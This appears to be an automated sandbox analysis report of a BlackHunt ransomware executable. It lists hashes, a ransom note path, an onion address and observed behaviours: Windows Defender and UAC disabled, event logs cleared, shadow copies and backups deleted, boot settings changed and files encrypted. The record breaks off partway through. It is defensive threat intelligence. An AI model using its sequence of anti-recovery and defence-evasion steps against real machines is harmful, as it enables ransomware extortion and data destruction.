Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:34
Static task
static1
Behavioral task
behavioral1
Sample
13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe
Resource
win10v2004-20231215-en
General
-
Target
13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe
-
Size
707KB
-
MD5
5f9d9a6a0816019f305d40038d15ae11
-
SHA1
a9817a66eaf850ce672265de5dee88bde80d5230
-
SHA256
13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4
-
SHA512
03f7ee75e7357fb9f151e4d479317f88236a9a8eb0115fc87416b44f78bc748d8e11a6e29d2de524b83f931c17c6f30986a63274a492f29e599016502bfdd6a1
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza108pvnh:6uaTmkZJ+naie5OTamgEoKxLWXNh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3348 fsutil.exe 3284 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2704 wevtutil.exe 888 wevtutil.exe 2752 wevtutil.exe 2664 wevtutil.exe 2364 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 3356 bcdedit.exe 3376 bcdedit.exe 3824 bcdedit.exe 1204 bcdedit.exe -
Renames multiple (2878) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 3384 wbadmin.exe 912 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 4072 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\P: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\K: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\W: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\H: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\M: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\A: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\G: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\B: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\T: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\O: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\J: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\N: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\U: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\V: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\Y: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\S: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\L: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\E: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\Z: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\X: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Q: 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_hu.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vevay 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Samara 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\mailapi.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-options-keymap.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-io.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_zh_CN.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\EST5EDT 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hebron 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_ja_4.4.0.v20140623020002.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_Private.key 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_es.properties 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Abidjan 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Amsterdam 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\UndoUninstall.zip 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\Google\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations_2.4.0.v20131119-0908.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.hta 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#BlackHunt_Private.key 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\plugins\visualization\#BlackHunt_Private.key 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-next-static.png 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\ij 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jre7\lib\management\management.properties 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Gambier 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\soundcloud.luac 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\PPKLite.api 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Lagos 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Caracas 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Stanley 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Belgrade 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Godthab 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\DVD Maker\fr-FR\#BlackHunt_Private.key 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.expressions_3.4.600.v20140128-0851.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\EET 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.servlet.jsp_2.2.0.v201112011158.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-background.png 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-modules-appui_zh_CN.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\7-Zip\Lang\ast.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-static.png 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Tucuman 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\Java\jre7\lib\images\cursors\#BlackHunt_Private.key 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiler.jar 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_ReadMe.hta 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotsdarkoverlay.png 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask.wmv 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-common.xml 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Adak 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\7-Zip\License.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerConstraints.exsd 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core.xml 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_ReadMe.txt 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 268 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3340 vssadmin.exe 3368 vssadmin.exe 1148 vssadmin.exe 1716 vssadmin.exe 3284 vssadmin.exe 3276 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 948 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2140 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1516 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Token: SeRestorePrivilege 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Token: SeBackupPrivilege 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Token: SeTakeOwnershipPrivilege 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Token: SeAuditPrivilege 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Token: SeSecurityPrivilege 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Token: SeIncBasePriorityPrivilege 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Token: SeBackupPrivilege 4032 vssvc.exe Token: SeRestorePrivilege 4032 vssvc.exe Token: SeAuditPrivilege 4032 vssvc.exe Token: SeBackupPrivilege 3952 wbengine.exe Token: SeRestorePrivilege 3952 wbengine.exe Token: SeSecurityPrivilege 3952 wbengine.exe Token: SeSecurityPrivilege 2752 wevtutil.exe Token: SeBackupPrivilege 2752 wevtutil.exe Token: SeSecurityPrivilege 888 wevtutil.exe Token: SeBackupPrivilege 888 wevtutil.exe Token: SeSecurityPrivilege 2664 wevtutil.exe Token: SeBackupPrivilege 2664 wevtutil.exe Token: SeSecurityPrivilege 2704 wevtutil.exe Token: SeBackupPrivilege 2704 wevtutil.exe Token: SeSecurityPrivilege 2364 wevtutil.exe Token: SeBackupPrivilege 2364 wevtutil.exe Token: SeDebugPrivilege 948 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2672 wrote to memory of 2328 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 29 PID 2672 wrote to memory of 2328 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 29 PID 2672 wrote to memory of 2328 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 29 PID 2672 wrote to memory of 2328 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 29 PID 2672 wrote to memory of 1336 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 31 PID 2672 wrote to memory of 1336 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 31 PID 2672 wrote to memory of 1336 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 31 PID 2672 wrote to memory of 1336 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 31 PID 2672 wrote to memory of 1816 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 33 PID 2672 wrote to memory of 1816 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 33 PID 2672 wrote to memory of 1816 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 33 PID 2672 wrote to memory of 1816 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 33 PID 2328 wrote to memory of 1820 2328 cmd.exe 34 PID 2328 wrote to memory of 1820 2328 cmd.exe 34 PID 2328 wrote to memory of 1820 2328 cmd.exe 34 PID 2672 wrote to memory of 1868 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 36 PID 2672 wrote to memory of 1868 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 36 PID 2672 wrote to memory of 1868 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 36 PID 2672 wrote to memory of 1868 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 36 PID 2672 wrote to memory of 2420 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 38 PID 2672 wrote to memory of 2420 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 38 PID 2672 wrote to memory of 2420 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 38 PID 2672 wrote to memory of 2420 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 38 PID 1336 wrote to memory of 2872 1336 cmd.exe 39 PID 1336 wrote to memory of 2872 1336 cmd.exe 39 PID 1336 wrote to memory of 2872 1336 cmd.exe 39 PID 2672 wrote to memory of 2404 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 41 PID 2672 wrote to memory of 2404 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 41 PID 2672 wrote to memory of 2404 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 41 PID 2672 wrote to memory of 2404 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 41 PID 2672 wrote to memory of 2728 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 42 PID 2672 wrote to memory of 2728 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 42 PID 2672 wrote to memory of 2728 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 42 PID 2672 wrote to memory of 2728 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 42 PID 2672 wrote to memory of 2792 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 45 PID 2672 wrote to memory of 2792 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 45 PID 2672 wrote to memory of 2792 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 45 PID 2672 wrote to memory of 2792 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 45 PID 2672 wrote to memory of 2852 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 47 PID 2672 wrote to memory of 2852 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 47 PID 2672 wrote to memory of 2852 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 47 PID 2672 wrote to memory of 2852 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 47 PID 2672 wrote to memory of 2744 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 48 PID 2672 wrote to memory of 2744 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 48 PID 2672 wrote to memory of 2744 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 48 PID 2672 wrote to memory of 2744 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 48 PID 1816 wrote to memory of 3048 1816 cmd.exe 133 PID 1816 wrote to memory of 3048 1816 cmd.exe 133 PID 1816 wrote to memory of 3048 1816 cmd.exe 133 PID 2672 wrote to memory of 2600 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 51 PID 2672 wrote to memory of 2600 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 51 PID 2672 wrote to memory of 2600 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 51 PID 2672 wrote to memory of 2600 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 51 PID 2672 wrote to memory of 2848 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 52 PID 2672 wrote to memory of 2848 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 52 PID 2672 wrote to memory of 2848 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 52 PID 2672 wrote to memory of 2848 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 52 PID 2672 wrote to memory of 2708 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 54 PID 2672 wrote to memory of 